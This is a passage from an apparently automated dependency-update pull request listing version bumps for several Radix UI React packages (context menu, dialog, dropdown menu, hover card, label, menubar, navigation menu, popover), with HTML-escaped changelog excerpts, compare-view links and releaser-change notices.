\u003ccode\u003eContextMenu\u003c/code\u003e not re-anchoring to the latest pointer position when re-triggered while already open.\u003c/li\u003e\n\u003cli\u003eFixed menu items, tab triggers, toolbar links, and select items intercepting \u003ccode\u003eSpace\u003c/code\u003e/\u003ccode\u003eEnter\u003c/code\u003e keys that originate from focusable descendants.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/primitive@1.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-menu@2.1.20\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.3.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-menu@2.1.19\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.3.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed a bug where menus and submenus remained open after a window loses focus.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-menu@2.1.18\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.3.0\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded support for a controlled \u003ccode\u003eopen\u003c/code\u003e prop on \u003ccode\u003eContextMenu.Root\u003c/code\u003e. This is intended for reading the open state and closing the menu programmatically, though we discourage opening the menu programmatically since opening the menu depends on user interaction to position the menu.\u003c/li\u003e\n\u003cli\u003eFixed bug in context menu where submenus stayed expanded after re-opening on long-press touch events\u003c/li\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-menu@2.1.17\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.3\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/context-menu\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-context-menu\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-dialog` from 1.1.15 to 1.1.19\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/dialog/CHANGELOG.md\"\u003e@​radix-ui/react-dialog's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.19\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.15\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-scope@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-presence@1.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.14\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-scope@1.1.11\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.13\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRemoved dev-only warnings for dialogs when title and/or description is not rendered.\u003c/li\u003e\n\u003cli\u003eFixed Dismissable Layer so outside interactions stopped by extension UI overlays do not dismiss dialogs or popovers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-slot@1.3.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.13\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-scope@1.1.10\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.12\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.16\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed disabled pointer events in closed dialogs\u003c/li\u003e\n\u003cli\u003eFixed a bug where iOS text selection and editing on HTML inputs within \u003ccode\u003ereact-dialog\u003c/code\u003e were broken\u003c/li\u003e\n\u003cli\u003eFixed triggers referencing a non-existent element via \u003ccode\u003earia-controls\u003c/code\u003e when their content is removed from the DOM (credit to \u003ca href=\"https://github.com/dodomorandi\"\u003e\u003ccode\u003e@​dodomorandi\u003c/code\u003e\u003c/a\u003e for the \u003ca href=\"https://redirect.github.com/radix-ui/primitives/pull/3243\"\u003eoriginal PR\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-presence@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-slot@1.2.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-guards@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-scope@1.1.9\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.11\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.3\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/dialog\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-dialog\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-dropdown-menu` from 2.1.16 to 2.1.20\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/dropdown-menu/CHANGELOG.md\"\u003e@​radix-ui/react-dropdown-menu's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2.1.20\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed menu items, tab triggers, toolbar links, and select items intercepting \u003ccode\u003eSpace\u003c/code\u003e/\u003ccode\u003eEnter\u003c/code\u003e keys that originate from focusable descendants.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/primitive@1.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-menu@2.1.20\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.1.19\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed infinite re-render loop in React 19 caused by unstable composed ref callback references.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eOther updates\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-menu@2.1.19\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.1.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed a bug where menus and submenus remained open after a window loses focus.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-menu@2.1.18\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.1.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-menu@2.1.17\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.3\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/dropdown-menu\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-dropdown-menu\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-hover-card` from 1.1.15 to 1.1.19\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/hover-card/CHANGELOG.md\"\u003e@​radix-ui/react-hover-card's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.19\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.15\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-presence@1.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-popper@1.3.3\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.14\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-popper@1.3.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.13\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-popper@1.3.1\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.13\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.12\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.16\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-presence@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-popper@1.3.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.11\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.3\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/hover-card\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-hover-card\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-label` from 2.1.8 to 2.1.11\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/label/CHANGELOG.md\"\u003e@​radix-ui/react-label's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2.1.11\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.1.10\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.1.9\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/label\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-label\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-menubar` from 1.1.16 to 1.1.20\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/menubar/CHANGELOG.md\"\u003e@​radix-ui/react-menubar's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.20\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed menu items, tab triggers, toolbar links, and select items intercepting \u003ccode\u003eSpace\u003c/code\u003e/\u003ccode\u003eEnter\u003c/code\u003e keys that originate from focusable descendants.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/primitive@1.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-roving-focus@1.1.15\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-menu@2.1.20\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.12\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.19\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-menu@2.1.19\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.11\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-roving-focus@1.1.14\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed a bug where menus and submenus remained open after a window loses focus.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-menu@2.1.18\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.10\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-roving-focus@1.1.13\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-menu@2.1.17\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.9\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-direction@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-roving-focus@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.3\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/menubar\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-menubar\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-navigation-menu` from 1.2.14 to 1.2.18\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/navigation-menu/CHANGELOG.md\"\u003e@​radix-ui/react-navigation-menu's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.2.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded CSS custom properties for item indicators' translate values.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.15\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-presence@1.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.12\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.2.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed infinite re-render loop in React 19 caused by unstable composed ref callback references.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eOther updates\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.14\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.11\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-visually-hidden@1.2.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.2.16\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eDuplicate index signature\u003c/code\u003e errors that surfaced when consuming multiple packages together.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.13\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.10\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-visually-hidden@1.2.6\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.2.15\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed triggers referencing a non-existent element via \u003ccode\u003earia-controls\u003c/code\u003e when their content is removed from the DOM (credit to \u003ca href=\"https://github.com/dodomorandi\"\u003e\u003ccode\u003e@​dodomorandi\u003c/code\u003e\u003c/a\u003e for the \u003ca href=\"https://redirect.github.com/radix-ui/primitives/pull/3243\"\u003eoriginal PR\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-presence@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.9\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-direction@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-callback-ref@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-layout-effect@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-previous@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-visually-hidden@1.2.5\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/navigation-menu\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-navigation-menu\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-popover` from 1.1.15 to 1.1.19\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/popover/CHANGELOG.md\"\u003e@​radix-ui/react-popover's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.19\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.15\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-scope@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-presence@1.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-popper@1.3.3\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.14\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-scope@1.1.11\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-popper@1.3.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.13\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed Dismissable Layer so outside interactions stopped by extension UI overlays do not dismiss dialogs or popovers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-slot@1.3.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-popper@1.3.1\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.13\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-scope@1.1.10\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.12\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.16\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed a bug where iOS text selection and editing on HTML inputs within \u003ccode\u003ereact-dialog\u003c/code\u003e were broken\u003c/li\u003e\n\u003cli\u003eFixed triggers referencing a non-existent element via \u003ccode\u003earia-controls\u003c/code\u003e when their content is removed from the DOM (credit to \u003ca href=\"https://github.com/dodomorandi\"\u003e\u003ccode\u003e@​dodomorandi\u003c/code\u003e\u003c/a\u003e for the \u003ca href=\"https://redirect.github.com/radix-ui/primitives/pull/3243\"\u003eoriginal PR\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-presence@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-popper@1.3.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-slot@1.2.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-guards@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-scope@1.1.9\u003c/code\u003e, 